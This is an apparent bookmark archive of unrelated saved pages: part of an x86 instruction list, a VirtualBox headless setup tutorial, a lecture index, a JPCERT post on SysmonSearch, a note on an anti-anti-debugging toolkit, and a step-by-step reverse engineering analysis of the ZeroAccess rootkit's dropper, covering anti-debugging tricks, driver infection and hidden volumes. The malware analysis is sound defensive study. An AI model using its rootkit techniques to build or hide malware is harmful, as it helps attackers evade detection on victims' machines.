  118. SETO \- Set if Overflow \(386+\)
  119. SETNO \- Set if Not Overflow \(386+\)
  120. SETP/SETPE \- Set if Parity / Set if Parity Even \(386+\)
  121. SETNP/SETPO \- Set if No Parity / Set if Parity Odd \(386+\)
  122. SGDT \- Store Global Descriptor Table \(286+ privileged\)
  123. SIDT \- Store Interrupt Descriptor Table \(286+ privileged\)
  124. SHL \- Shift Logical Left
  125. SHR \- Shift Logical Right
  126. SHLD/SHRD \- Double Precision Shift \(386+\)
  127. SLDT \- Store Local Descriptor Table \(286+ privileged\)
  128. SMSW \- Store Machine Status Word \(286+ privileged\)
  129. STC \- Set Carry
  130. STD \- Set Direction Flag
  131. STI \- Set Interrupt Flag \(Enable Interrupts\)
  132. STOS \- Store String \(Byte, Word or Doubleword\)
  133. STR \- Store Task Register \(286+ privileged\)
  134. SUB \- Subtract
  135. TEST \- Test For Bit Pattern
  136. VERR \- Verify Read \(286+ protected\)
  137. VERW \- Verify Write \(286+ protected\)
  138. WAIT/FWAIT \- Event Wait
  139. WBINVD \- Write-Back and Invalidate Cache \(486+\)
  140. XCHG \- Exchange
  141. XLAT/XLATB \- Translate
  142. XOR \- Exclusive OR

# HOW TO: VBox 3.1.12 on Ubuntu 9.10 Server \(Headless VRDP\) \(View topic\) •
virtualbox.org

**Created:**| _1/8/2010 11:44:23 AM_  
---|---  
**Updated:**| _1/8/2010 11:44:35 AM_  
**Author:**| __  
**Tags:**| _virtusalisation Tutorials_  
  

### OW TO: VBox 3.1.12 on Ubuntu 9.10 Server \(Headless VRDP\)

<img src='img/Temp2_3553.gif' width='11' height='9' alt='Post' />by
**WickedStepdaddy** » 7. Jan 2010, 23:19

Hello all, I have been bouncing thru the forum the past few days gathering
specs of info here and there for my latest little project. What I found is
that searching didn't really return the results I hoped for, and so I wrote
this little Step by Step tutorial of how to get VirtualBox 3.1.12 installed,
running and ready for action on Ubuntu 9.10 Server \(using a couple of old P
III and P4 boxes I had sitting about\).  
  
All the approaches I tried only installed the OSE version of Virtual Box. The
Headless operation never worked for me, I could not get a vrdp client to
connect to the server  
no matter what I tried. So a few sheets of virtual Notepad later...I
documented how I resolved my issues with getting VirtualBox 3.1.12 to work
Headless on Ubuntu 9.10 SERVER.  
  
Enjoy  
  
\*\* The paths, names, etc. may need to be changed for your particular
installation of Ubuntu 9.10 \*\*  
  
Step By Step  
  
Installed Ubuntu 9.10 on your equipment. I chose to only install inetd
\(Internet Superserver\) and Samba during the install process. Post OS install
I added telnetd and OpenSSHd-Server -- and rebooted for good measure.  
  
\*\*\*\*\*\*\*\*\*\*\*\* Install VBOX 3.1.12 \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*  
  
Edit /etc/apt/sources.list \(to add the following lines in the last stanza- I
tried several locations within the file...YMMV\)  
  

> deb http://download.virtualbox.org/virtualbox/debian karmic non-free  
> deb-src http://download.virtualbox.org/virtualbox/debian karmic non-free
  
  
Next download and install the Sun Public Key for apt-secure  
  

> sudo wget -q http://download.virtualbox.org/virtualb ... n\_vbox.asc -O- | sudo apt-key add - 
  
  
Install only the dependencies needed for headless operation.  
  

> sudo apt-get install build-essential libcurl3 linux-
> headers-2.6.31-14-generic-pae
  
  
Install the appropriate download for your particular OS install... I copied
this to /home/username for ease of installation. I also shortened the name of
the file so I did not have to type \(and mis-type the applied name\)  
  

> sudo dpkg --force-depends -i
> virtualbox-3.1\_3.1.2-56127\_Ubuntu\_karmic\_i386.deb
  
  
Correct missing dependencies - this adds some X related stuff, but it is just
overhead and clears up nag messages when using apt-get in the future.  
  

> sudo apt-get -f install
  
  
  
  
  
\*\*\*\*\*\*\*\*\*\*\*\*\* Create Your First Virtual Machine
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*  
  
These are the commands that worked for me, they should work for you as well.
remember paths may be different for you.  
I copied my freshly made BOOTABLE .iso to /home/username/WPFPP\_EN.iso for
ease of use. The .iso MUST be BOOTABLE for this to work\!\!  
  
Create the machine-  

> VBoxManage createvm --name "WinXP" --register
  
  
Initial settings-  

> VBoxManage modifyvm "WinXP" --memory 256 --acpi on --boot1 dvd --nic1 nat
> --vtxvpid off
  
  
Create the HardDrive and size it \(VBox recommends 10GB - I used 5GB\)  

> VBoxManage createhd --filename "WinXP.vdi" --size 5000 --remember
  
  
Create an IDE Controller for your drives-  

> VBoxManage storagectl "WinXP" --name "IDE Controller" --add ide
  
  
Modify the machine to use your new HardDrive-  

> VBoxManage modifyvm "WinXP" --hda "WinXP.vdi"
  
  
Open the BOOTABLE .iso \(CD-ROM\) for installation of the operating system-  

> VBoxManage openmedium dvd /home/username/WPFPP\_EN.iso
  
  
Connect the new "CD-ROM" to your IDE Controller-  

> VBoxManage storageattach WinXP --storagectl "IDE Controller" --port 1
> --device 0 --type dvddrive --medium /home/username/WPFPP\_EN.iso
  
  
Tell the machine you have connected the CD-ROM \(and where to find it\)-  

> VBoxManage modifyvm "WinXP" --dvd /home/username/WPFPP\_EN.iso
  
  
This step is optional - I had other items using the default vrdp port of 3389
\(windows Remote Desktops\)-  

> VBoxManage modifyvm "WinXP" --vrdpport 5002
  
  
Fire up the new machine and start your OS install-  

> VBoxHeadless --startvm "WinXP"
  
  
\*\*\*\*\*\*\*\*\*\*\*\*\* Install your Operating System
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*  
  
Since this is a Windows XP install - go get some coffee, a danish, 3 months
worth of playboy's and sit back and wait... it will get there eventually.  
During the install, since you don't have Guest Additions installed yet, the
TAB and ENTER Keys are your friend\!\! The mouse works but eratic to say the
least.  
  
\*\*\*\*\*\*\*\*\*\*\*\*\* Install Guest Additions for Windows
\*\*\*\*\*\*\*\*\*\*\*\*\*\*  
  
The location on this particular install of VBox 3.1.12 is:  
/usr/share/virtualbox/VBoxGuestAdditions.iso  
  
...so we attach that "CD-ROM" to our IDE Controller \(Replacing the
Installation CD\)  

> VBoxManage storageattach WinXP --storagectl "IDE Controller" --port 1
> --device 0 --type dvddrive --medium
> /usr/share/virtualbox/VBoxGuestAdditions.iso
  
  
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* END
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*  
  
you are now free to move about the country.  
  
  
Some notables-  
  
This was all done via SSH and Telnet once they were installed. I never touched
the box again \(except to power it off over night\)  
  
On my regular desktop \(Windows Vista\) I installed BitVise Tunnelier 4.31
\(http://www.bitvise.com\) for terminal and ftp access to the Ubuntu 9.10
Server. \(I must say - I like it, and its free\!\)  
  
I currently have 6 VM's running on the boxes \( I did two server installs \(3
vm's each\) \) and so far there has not been a hitch... "fingers crossed"  
  
\------------------  
Please remember, this is by no means the ONLY way to achieve this result. It
is simply the path I chose to use and document hoping  
it might help someone else out that was searching the forums for information
on getting VirtualBox 3.1.12 to work Headless on Ububtu 9.10 SERVER.  

# Index of /edu/training/ss/lecture/new-documents/Lectures

**Created:**| _2/17/2011 5:00:38 PM_  
---|---  
**Updated:**| _2/17/2011 5:00:51 PM_  
**Author:**| __  
**Tags:**| _courses windows environment_  
  

# Index of /edu/training/ss/lecture/new-documents/Lectures

[code]

    <img src='img/Temp2_4409.gif' alt=' ' /> Name                    Last modified       Size  Description
    
    
[/code]

* * *
[code]

    <img src='img/Temp2_4410.gif' alt='[DIR]' /> Parent Directory        11-Jun-2010 17:26      -  
    <img src='img/Temp2_4411.gif' alt='[DIR]' /> 00-WindowsKernelOver..> 11-Jun-2010 17:26      -  
    <img src='img/Temp2_4411.gif' alt='[DIR]' /> 01-ObjectManager/       11-Jun-2010 17:26      -  
    <img src='img/Temp2_4411.gif' alt='[DIR]' /> 02-VirtualMemory/       11-Jun-2010 17:26      -  
    <img src='img/Temp2_4411.gif' alt='[DIR]' /> 03-ThreadScheduling/    11-Jun-2010 17:26      -  
    <img src='img/Temp2_4411.gif' alt='[DIR]' /> 04-Synchronization/     11-Jun-2010 17:26      -  
    <img src='img/Temp2_4411.gif' alt='[DIR]' /> 05-TrapsInterruptsEx..> 11-Jun-2010 17:26      -  
    <img src='img/Temp2_4411.gif' alt='[DIR]' /> 06-IOArchitecture/      11-Jun-2010 17:26      -  
    <img src='img/Temp2_4411.gif' alt='[DIR]' /> 08-NTFS/                11-Jun-2010 17:26      -  
    <img src='img/Temp2_4411.gif' alt='[DIR]' /> 09-Registry/            11-Jun-2010 17:26      -  
    <img src='img/Temp2_4411.gif' alt='[DIR]' /> 10-LPC/                 11-Jun-2010 17:26      -  
    <img src='img/Temp2_4411.gif' alt='[DIR]' /> 11-WindowsServices/     11-Jun-2010 17:26      -  
    <img src='img/Temp2_4411.gif' alt='[DIR]' /> 13-Processes/           11-Jun-2010 17:26      -  
    <img src='img/Temp2_4411.gif' alt='[DIR]' /> 14-AdvVirtualMemory/    11-Jun-2010 17:26      -  
    <img src='img/Temp2_4411.gif' alt='[DIR]' /> 15-CacheManager/        11-Jun-2010 17:26      -  
    <img src='img/Temp2_4411.gif' alt='[DIR]' /> 16-UserModeHeap/        11-Jun-2010 17:26      -  
    <img src='img/Temp2_4411.gif' alt='[DIR]' /> 17-Win32K/              11-Jun-2010 17:26      -  
    <img src='img/Temp2_4411.gif' alt='[DIR]' /> 19-CommonCodingErrors/  11-Jun-2010 17:26      -  
    
    
[/code]

* * *
Apache/1.3.41 Server at i-web.i.u-tokyo.ac.jp Port 80

# Visualise Sysmon Logs and Detect Suspicious Device Behaviour -SysmonSearch-

**Created:**| _9/23/2018 8:32:50 AM_  
---|---  
**Updated:**| _9/23/2018 8:32:50 AM_  
**Author:**| _wishi_  
**Tags:**| _windows environment dfir sysmon_  
  

  

### Visualise Sysmon Logs and Detect Suspicious Device Behaviour
-SysmonSearch-

In recent sophisticated cyber attacks, it is common to observe lateral
movement, where a malware- infected device is used as a stepping stone and
further compromise other devices in the network. In order to investigate the
compromised devices, it is necessary to retain detailed logs of the
applications that run on the device on a daily basis. One of the well-known
tools for this purpose is Sysmon \[1\] from Microsoft, which records various
operations on the Windows OS \(e.g. applications, registry entries,
communication\) in the event logs. Most commonly, analysts convert the logs
into text format to search for specific items in the logs. However, it is a
hectic and not-so-organised task when it comes to investigation over multiple
devices.

JPCERT/CC has developed and released a system “SysmonSearch” which
consolidates Sysmon logs to perform faster and more accurate log analysis. We
are happy to introduce the details in this article.

#### SysmonSearch system overview

SysmonSearch is a system based on Elastic Stack \[2\]. Sysmon log analysis
function \(search, statistical analysis and visualisation\) is implemented by
Kibana Plugin. Figure 1 describes the system overview.

Figure 1: SysmonSearch system overview <img src='img/Temp2_8982.png'
width='500' height='268' alt='Fig1_2' />  
---  
#### Sysmon log visualisation

In SysmonSearch, each record in Sysmon log \(process, file, registry etc.\) is
defined as a node, which are correlated with each other upon visualisation.
This makes it easy to grasp how each node is related with others. For example,
you can see a file created from a certain process and network communication
occurring from another process. Figure 2 shows an example of visualised Sysmon
logs. Each node is described with an icon. Icons are prepared for each event
ID so that it is visually comprehensible. Please refer to Appendix for the
list of Sysmon event IDs and corresponding icons.

Figure 2: Sysmon log visualisation results on SysmonSearch <img
src='img/Temp2_8983.png' width='500' height='368' alt='Fig2_2' />  
---  
#### Sysmon log search

SysmonSearch can search Sysmon logs with the following conditions:

  * Date
  * IP address
  * Port number
  * Host name
  * Process name
  * File name
  * Registry key
  * Registry value
  * Hash value

If malware hash value or a C&C server is identified through the search, it is
possible to check if any other device in the network is also affected by the
same malware. You can also search for specific items from imported IoC and
STIX data.

Figure 3: SysmonSearch search screen <img src='img/Temp2_8981.png' width='500'
height='298' alt='Fig3_2' />  
---  
#### Sysmon log monitoring

This tool also performs near real-time search on Sysmon logs based on a
certain rule and displays matched logs. Checking for logs that matches certain
anomaly conditions may help detecting signs of an incident at an early stage.
Monitoring rules can be configured on the search function.

Figure 4: SysmonSearch monitoring screen <img src='img/Temp2_8980.png'
width='500' height='297' alt='Fig4_mini_2' />  
---  
#### Sysmon log statistical analysis

This function provides statistical data on events related to network
communication, process and registry per device. It may be useful in
identifying suspicious events which cannot be found with the monitoring
function.

Figure 5: Statistical data on events related to network communication, process
and registry on all devices <img src='img/Temp2_8985.png' width='500'
height='298' alt='Fig5_mini_2' />  
---  
Figure 6: Statistical data on event ID on a single device <img
src='img/Temp2_8984.png' width='500' height='297' alt='Fig6_mini_2' />  
---  
#### How to install

SysmonSearch is available on GitHub from the following URL. DockerFile is also
available.

JPCERTCC GitHub - SysmonSearch

https://github.com/JPCERTCC/SysmonSearch

JPCERTCC GitHub – SysmonSearch Wiki

https://github.com/JPCERTCC/SysmonSearch/wiki

#### In closing

SysmonSearch enables faster and more accurate log analysis, and the monitoring
function serves for early detection of incidents. We hope that the tool is
helpful in incident analysis.

\- Wataru Takahashi

_\(Translated by Yukako Uchida\)_

##### Reference

\[1\] Sysmon - Windows Sysinternals | Microsoft Docs
https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon

\[2\] Powering Data Search, Log Analysis, Analytics | Elastic
https://www.elastic.co/products

##### Appendix

Icon legend Event ID | Event | Icon  
---|---|---  
1 | Process Create |  <img src='img/icon1_2.png' width='58' height='58' alt='Icon1_2' />  
2 | File creation time changed |  <img src='img/icon2.png' width='58' height='58' alt='Icon2' />  
3 | Network Connection Detected |  <img src='img/icon3.png' width='58' height='58' alt='Icon3' />  
7 | Image loaded |  <img src='img/icon4.png' width='58' height='58' alt='Icon4' />  
8 | CreateRemoteThread |  <img src='img/icon5.png' width='58' height='58' alt='Icon5' />  
11 | FileCreate |  <img src='img/icon6.png' width='58' height='58' alt='Icon6' />  
12  
  
13  
  
14 | Registry Event \(CreateKey\) |  <img src='img/icon7_2.png' width='58' height='58' alt='Icon7_2' />  
12 13 14 | Registry Event |  <img src='img/icon8.png' width='58' height='58' alt='Icon8' />  
19 20 21 | WmiEvent |  <img src='img/icon9.png' width='58' height='58' alt='Icon9' />  
Posted on Sep 19, 2018 in \#Incident management, \#JPCERT news, \#Threats | Permalink
  

# Anti-Anti-Debugging via WOW64 « cd 00

**Created:**| _5/29/2011 9:40:43 PM_  
---|---  
**Updated:**| _5/29/2011 9:40:54 PM_  
**Author:**| __  
**Tags:**| _anti-debugging x64_  
  

## Anti-Anti-Debugging via WOW64

February 22, 2011 int0h Leave a comment Go to comments

I’ve coded this tool-set last year and only now I decided to share it with
small modifications. Pack includes binaries and source code and short
description how it works. Except anti-anti-debugging it shows how we can
silently hook SSDT functions on Windows 7 x64. Basically it only hides from
IsDebuggerPresent and CheckRemoteDebuggerPresent sometimes it’s enough to
bypass anti-debugging checks especially when advanced plugins for OllyDbg are
not working because they are using drivers.

Link: Download

# Step-by-Step Reverse Engineering Malware: ZeroAccess / Max++ / Smiscer Crimeware Rootkit | InfoSec Resources
**Created:**| _11/13/2010 4:03:03 PM_  
---|---  
**Updated:**| _11/13/2010 4:22:38 PM_  
**Author:**| __  
**Tags:**| _bookmark windows security windows reversing Malware-analysis
Tutorials windows environment awesome_  
  

## Step-by-Step Reverse Engineering Malware: ZeroAccess / Max++ / Smiscer
Crimeware Rootkit

November 12th, 2010|By: giuseppe|Topics: |No Comments

  
**Part 1: Introduction and De-Obfuscating and Reversing the User-Mode Agent
Dropper**  
Part 2: Reverse Engineering the Kernel-Mode Device Driver Stealth Rootkit  
Part 3: Reverse Engineering the Kernel-Mode Device Driver Process Injection
Rootkit  
Part 4: Tracing the Crimeware Origins by Reversing the Injected Code  

**SUMMARY  
**

This four part article series is a complete step-by-step tutorial on how to
reverse engineer the ZeroAccess Rootkit. ZeroAcess is also known as the
_Smiscer_ or  _Max++ rootkit._ You can either read along to gain an in-depth
understand the thought process behind reverse engineering modern malware of
this sophistication. The author prefers that you download the various tools
mentioned within and reverse the rookit yourself as you read the article.

InfoSec Institute would classify ZeroAccess as a sophisticated, advanced
rootkit. It has 4 main components that we will reverse in great detail in this
series of articles. ZeroAccess is a compartmentalized crimeware rootkit that
serves as a platform for installing various malicious programs onto victim
computers. It also supports features to make itself and the installed
malicious programs impossible for power-users to remove and very difficult
security experts to forensically analyze.

At the conclusion of the analysis, we will trace the criminal origins of the
ZeroAccess rootkit. We will discover that the purpose of this rootkit is to
set up a stealthy, undetectable and un-removable platform to deliver malicious
software to victim computers. We will also see that ZeroAccess is being
currently used to deliver FakeAntivirus crimeware applications that trick
users into paying $70 to remove the “antivirus”. It could be used to deliver
any malicious application, such as one that steals bank and credit card
information in the future. Further analysis and network forensics supports
that ZeroAccess is being hosted and originates from the Ecatel Network, which
is controlled by the cybercrime syndicate RBN \(Russian Business Network\).

Symantec reports that 250,000+ computers have been infected with this rootkit.
If 100% of users pay the $70 removal fee, it would net a total of $17,500,000.
As it is not likely that 100% of users will pay the fee, assuming that perhaps
30% will, resulting $5,250,000 in revenue for the RBN cybercrime syndicate.

It has the following capabilities:

  * Modern persistence hooks into the OS – Make it very difficult to remove without damaging the host OS
  * Ability to use a low level API calls to carve out new disk volumes totally hidden from the infected victim, making traditional disk forensics impossible or difficult.
  * Sophisticated and stealthy modification of resident system drivers to allow for kernel-mode delivery of malicious code
  * Advanced Antivirus bypassing mechanisms.
  * Anti Forensic Technology – ZeroAccess uses low level disk and filesystem calls to defeat popular disk and in-memory forensics tools
  * Serves as a stealthy platform for the retrieval and installation of other malicious crimeware programs
  * Kernel level monitoring via Asynchronous Procedure Calls of all user-space and kernel-space processes and images, and ability to seamlessly inject code into any monitored image

In this tutorial, our analysis will follow the natural execution flow for a
new infection. This will result in a detailed chronology of the infection
methodology and “workflow” that the rootkit uses to infect hosts. This
conceptual workflow is repeated in many other advanced rootkit that have been
analyzed, so it behooves you to understand this process and therefore be able
to apply it to new malware reversing situations.

Usually, when a rootkit infects a host, the workflow is structured as follows:

  1. Infection vector allows for rootkit agent reaches victim’s system. \(Drive-by-download, client side exploit or a dropper\)
  2. User-mode agent execution
  3. Driver executable decryption and execution
  4. System hiding from Kernel-mode.
  5. Establishment on the host and Kernel-mode level monitoring/data-stealing.
  6. Sending of stolen data in a covert data channel.

Our analysis of ZeroAccess is split into a series of articles:

Part 1: Introduction and De-Obfuscating and Reversing the User-Mode Agent
Dropper

Part 2: Reverse Engineering the Kernel-Mode Device Driver Stealth Rootkit

Part 3: Reverse Engineering the Kernel-Mode Device Driver Process Injection
Rootkit

Part 4: Tracing the Crimeware Origins of ZeroAccess Rootkit by Reversing the
Injected Code

Our analysis starts from analyzing the User-mode Agent and finishes at Kernel-
mode where the rootkit drops two malicious device drivers.

**Step-by-step Analysis  
**

The ZeroAccess rootkit comes in the form of a malicious executable that
delivered via infected Drive by Download Approach. Drive-by download means
three things, each concerning the unintended download of computer software
from the Internet:

  1. Downloads which a person authorized but without understanding the consequences \(e.g. downloads which install an unknown or counterfeit executable program, ActiveX component, or Java applet\).
  2. Any download that happens without a person’s knowledge.
  3. Download of spyware, a computer virus or any kind of malware that happens without a person’s knowledge.

Drive-by downloads may happen when visiting a website, viewing an e-mail
message or by clicking on a deceptive pop-up window by clicking on the window
in the mistaken belief that, for instance, an error report from the computer
itself is being acknowledged, or that an innocuous advertisement pop-up is
being dismissed. In such cases, the “supplier” may claim that the person
“consented” to the download although actually unaware of having started an
unwanted or malicious software download. Websites that exploit the Windows
Metafile vulnerability may provide examples of drive-by downloads of this
sort.

ZeroAccess has some powerful rootkit capabilities, such as:

  * Anti FileSystem forensics by modifying and infecting critical system drivers \(disk.sys, atapi.sys\) as well as PIC driver object stealing and IRP Hooking.
  * Infecting of System Drivers.
  * User-mode Process Creation interception and DLL Injection, from KernelMode.
  * DLL Hiding and Antivirus bypassing.
  * Extremely resistant to Infection Removal.

**Part 1: Reverse Engineering the User-Mode Agent/Dropper  
**

The rootkit is obfuscated via a custom packed executable typically called
‘Max++ downloader install\_2010.exe’. The hashes for this file are:

MD5: d8f6566c5f9caa795204a40b3aaaafa2  

SHA1: d0b7cd496387883b265d649e811641f743502c41  

SHA256: d22425d964751152471cca7e8166cc9e03c1a4a2e8846f18b665bb3d350873db  

Basic analysis of this executable shows the following PE sections and imports:

Sections: .text .rdata .rsrc  

Imports: COMCTL32.dll  

  
The Import Table is left in a very poor condition for analysis. Typically this
means that additional and necessary functions will be imported at Run Time.
Let’s now check the Entry Point Code:

<img src='img/Temp2_7727.png' width='643' height='188' />

The start code is pretty standard, except for an interesting particular, as
you can see at 00413BD5 we have an int 2Dh instruction.

The interrupt 2Dh instruction is mechanism used by Windows Kernel mode
debugging support to access the debugging interface. When int 2Dh is called,
system creates an EXCEPTION\_RECORD structure with an exception code of
STATUS\_BREAKPOINT as well as other specific informations. This exeception is
processed by calling KiDebugRoutine.

Int 2Dh is used by ntoskrnl.exe to interact with DebugServices but we can use
it also in user-mode. If we try to use it in normal \(not a debugged\)
application, we will get exception. However if we will attach debugger, there
will be no exception.

\(You can read more about this at the OpenRCE reference
libraryhttp://www.openrce.org/reference\_library/anti\_reversing\_view/34/INT%202D%20Debugger%20Detection/\)

When int 2Dh is called we get our first taste of ZeroAccess anti-reversing and
code obsfuction functionality. The system will skip one byte after the
interrupt, leading to opcode scission. The actual instructions executed will
differ from the apparent instructions that will be displayed in a dissasembler
or debugger.

To continue further we need a mechanism to correctly handle int 2Dh call and
mantain the jump-one-byte feature, and allow us to follow the opcode-splitted
code. To do so, we are going to use StrongOD Olly plugin which can be
downloaded here:
http://reversengineering.wordpress.com/2010/07/26/strongod-0-3-4-639/

With StrongOD installed, after tracing over int 2Dh we are presenting with the
following instructions:

<img src='img/Temp2_7729.png' />

The most interesting instruction for us here is the Call 00413bb4. Immediately
after this instruction we have garbage code. Let’s enter into this call, and
you are now presented with the following code block:

<img src='img/Temp2_7725.png' />

Again, we see int 2Dh, which will lead us one byte after the RETN instruction.
The next piece of code will decrypt the adjacent routine, after tracing
further, finally we land here:

<img src='img/Temp2_7722.png' />

This call will decrypt another block of code, at after that call execution
jump here:

<img src='img/Temp2_7731.png' />

FS:\[18\] corresponds to TEB \(Thread Environment Block\) address, from TEB is
obtained PEB \(Process Environment Block\) which is located at TEB Address +
30h.

PEB+0C corresponds to PPEB\_LDR\_DATA LdrData.

If you are using WinDBG, you can use this quick hint to uncover the link
between structure -> offset ->involved member by issuing the following
command:

  
0:004> dt nt\!\_PEB\_LDR\_DATA  
ntdll\!\_PEB\_LDR\_DATA  
+0×000 Length : Uint4B  
+0×004 Initialized : UChar  
+0×008 SsHandle : Ptr32 Void  
+0x00c InLoadOrderModuleList : \_LIST\_ENTRY  
+0×014 InMemoryOrderModuleList : \_LIST\_ENTRY  
+0x01c InInitializationOrderModuleList : \_LIST\_ENTRY  
+0×024 EntryInProgress : Ptr32 Void  
+0×028 ShutdownInProgress : UChar  
+0x02c ShutdownThreadId : Ptr32 Void  

As you can see, the malicious code refers to \_PEB\_LDR\_DATA + 1Ch, by
checking the output of WinDbg you can see that ECX now points to
InInitializationOrderModuleList. The code that follows is responsible for
locating Import Function addresses and then from this information building an
ImportTable on the fly dynamically. Next there is a complex sequence of nested
calls that have the principal aim of decrypting, layer by layer, the core
routines of ZeroAccess. We will not describe the analysis of this piece of
multi-layer code; it is left as an exercise for the reader. This section of
code is quite long, repetitive, and frankly boring, and not relevant from a
functionality point of view.

Imported Function addresses are successively protected and will be decrypted
on fly only when they are called. Let’s take a look at how an API call
actually looks:

<img src='img/Temp2_7724.png' />

Call 00401172 decrypts and return the API’s address in EAX. In the above code
snippet, the API called is VirtualAlloc. Allocated memory will be used in
future execution paths to decrypt a number of different blocks of
instructions. These blocks will eventually constitute an executable dropped by
the original infection agent.

Main executable \( the infection vector we are also referring to as the
Agent\) builds and drops various files into victim’s hard disk and as well as
in memory. Whether on disk or in memory, the pattern used is always the same:

<img src='img/Temp2_7732.png' />

Next, let’s try to determine what is being decrypted in these blocks. We place
a breakpoint at 0040162B, which is immediately after Next Block jump. The end
of the Next Block corresponds to the end of decryption process, we will see in
allocated memory the familiar ‘MZ’ signature, letting us know the executable
is ready to be used. Before proceding we recommending dumping onto the the
hard drive the full executable using the Backup functionality of Ollydbg.

The next block of code is protected with a VEH \( Vectored Exception Handler
\) by using RtlAddVectoredExceptionHandler and
RtlRemoveVectoredExceptionHandler. Inside this block we have a truly important
piece of code. This block is loaded via the undocumented native API call,
LdrLoadDll. A system DLL is called, lz32.dll, as well as the creation of a
Section Object.

<img src='img/Temp2_7726.png' />

A Section Object represents a section of memory that can be shared. A process
can use a section object to share parts of its memory address space \(memory
sections\) with other processes. Section objects also provide the mechanism by
which a process can map a file into its memory address space.

Take a look at the red rectangle, calling the value 003C24FB stored in EAX. As
you can see this belongs to the previously loaded lz32.dll. Because of this
call, execution flow jumps inside the lz32.dll, and which contains malicious
code decrypted by the rootkit agent.

This is what the code of lz32.dll program looks like:

<img src='img/Temp2_7719.png' />

If we trace into the Call 003C23DB, we have a long routine that completes
infection, and more precisely we have the kernel mode component installation
phase. We will see a series of creative routines specifically written to elude
classic Antivirus checks, such as the usage of Section Objects and Views
placed into System Files.

Now, let’s take a look at the core routine of the Agent, which we will analyze
piece by piece:

<img src='img/Temp2_7720.png' />

During the analysis of complex pieces of malware it’s a good practice to leave
open the HandleView and ModuleView panes within OllyDbg. This will help you
keep track of what is loaded/unloaded and what files/objects/threads/etc. are
opened. Let’s see what happens in Call 003C1C2C at address 003C2461.

At first, we see the enumeration of Drivers placed into \system32\drivers, and
next we have the following piece of code:

<img src='img/Temp2_7721.png' />

We have an interesting algorithm here, after driver enumeration a random
number is generated, next fitted within a range of \[0 - 0xFF\] and used to
randomly select from the driver list a file to be infected. Finally the string
formatted as:

**\\.\_driver\_name\_  
**

Now let’s watch what is going on in HandleView:

<img src='img/Temp2_7728.png' />

As you can see a Section Object is created according to the randomly selected
driver file, and next will be opened as View inside this Section.

The access values for this section are set to 0xF001F. Let’s first talk about
why this is important. During a malware analysis session, much like a forensic
investigation, is fundamental to know what the access potential the various
components have, so we can direct our investigation down the right path. This
can be determined by checking the access rights assigned to various handles.

Let’s lookup what the access right of 0xF001F corresponds by looking in
winnt.h:

**\#define SECTION\_ALL\_ACCESS 0xf001f  
**

SECTION\_ALL\_ACCESS means the handle has the ability to Read, Write, Query
and Execute. This is the optimal environment to place a malicious portion of
code. Now, lets analyze further:

<img src='img/Temp2_7718.png' />

This block of code takes the driver previously selected and now registers it
into:

\registry\MACHINE\SYSTEM\CurrentControlSet\services\

The \services entry under CurrentControlSet contains parameters for the device
drivers, file system drivers, and Win32 service drivers. For each Service,
there is a subkey with the name of the service itself. Our registry entry will
be named \\.\_driver\_name\_

Start Type has 0×3 value that means -> Load on Demand  

Type: 0×1 -> Kernel Device Driver  

Image Path -> \\\*  

<img src='img/Temp2_7723.png' />

The same driver is always opened. Next, its handle used to send, via
ZwFsControlCode, a FSCTL \(File System Control Code\). Taking a look at the
API parameters at run time reveals that the FSCTL code is 9C040. This code
corresponds to FSCTL\_SET\_COMPRESSION. It sets the compression state of a
file or directory on a volume whose file system supports per-file and per-
directory compression.

Next, a new executable will be built with the aforementioned decryption scheme
and then loaded via ZwLoadDriver. This process will result in two device
drivers:

  1. The first driver is unnamed and will perform IRP Hooking and Object and disk.sys/pci.sys Object Stealing \(we will analyze this in greater detail later\)
  2. The second driver, named B48DADF8.sys, is process creation aware and contains a novel DLL injection system \(we will also analyze it greater detail later\)

Once the driver infection is complete we land in an interesting piece of code:

<img src='img/Temp2_7730.png' />

Here, we see the loading of fmifs.dll. This DLL is the Format Manager for
Installable File Systems, and it offers a set of functions for FileSystem
Management.

In this case the exported function is FormatEx. A bit of documentation on
FormatEx follows:

VOID  
STDCALL  
FormatEx\(  
PWCHAR DriveRoot,  
DWORD MediaFlag,  
PWCHAR Format,  
PWCHAR Label,  
BOOL QuickFormat,  
DWORD ClusterSize,  
PFMIFSCALLBACK Callback  
\);  

This function, as the name suggests is used to Format Volumes. In our case the
DriverRoot is \\\?\C2CAD972\#4079\#4fd3\#A68D\#AD34CC121074 and Format is
NTFS. This is a remarkable feature unique to this rootkit. This call creates a
hidden volume, and the volume will contain the driver and DLLs dropped by the
ZeroAccess Agent. These files remain totally invisible to the victim.

The next step the Agent takes is to build, with the same decryption routine
previously described, the remaining malicious executables that will be stored
into the newly created hidden volume. These two files are:

  * B48DADF8.sys
  * max++.00,x86.dll

Both located into the hidden volume,
\\\?\C2CAD972\#4079\#4fd3\#A68D\#AD34CC121074\L\\. We now we have a good
knowledge of what user-mode side of ZeroAccess does, we can focus our
attention to Kernel Mode side, by reversing the two drivers and dropped DLL.

Let’s continue to follow the workflow of the rootkit. If you are reversing
along with us, analysis will logically follow the order of binaries dropped by
the Agent. Our first driver to reverse will be the randomly named one, which
will be in Part 2 of this tutorial. **  
**

**Share and Enjoy:**

  * <img src='img/Temp2_7717.png' alt='Twitter' />
  *   * <img src='img/Temp2_7717.png' alt='Digg' />
  *   * <img src='img/Temp2_7717.png' alt='del.icio.us' />
  *   * <img src='img/Temp2_7717.png' alt='Facebook' />
  *   * <img src='img/Temp2_7717.png' alt='Print' />

## You may also be interested in:

  * Ideal Skill Set For the Penetration Testing
  * 3 Simple Ways to Recon Yourself
  * An introduction to Bash Scripting for automating some nmap recon
  * Keatron’s Penetration Tools List
  * SQL Injection – Another hacking how-to

## Leave a Reply

**XHTML:** You can use these tags: `<a href="" title=""> <abbr title="">
<acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime="">
<em> <i> <q cite=""> <strike> <strong>`

Name \(required\)

Mail \(will not be published\) \(required\)

Website

Submit Comment

  

# Windows Kernel Exploitation Tutorial Part 2: Stack Overflow - rootkit

**Created:**| _3/7/2018 8:53:05 AM_  
---|---  
**Updated:**| _3/7/2018 8:53:05 AM_  
**Author:**| _wishi_  
**Tags:**| _windows kernel_  
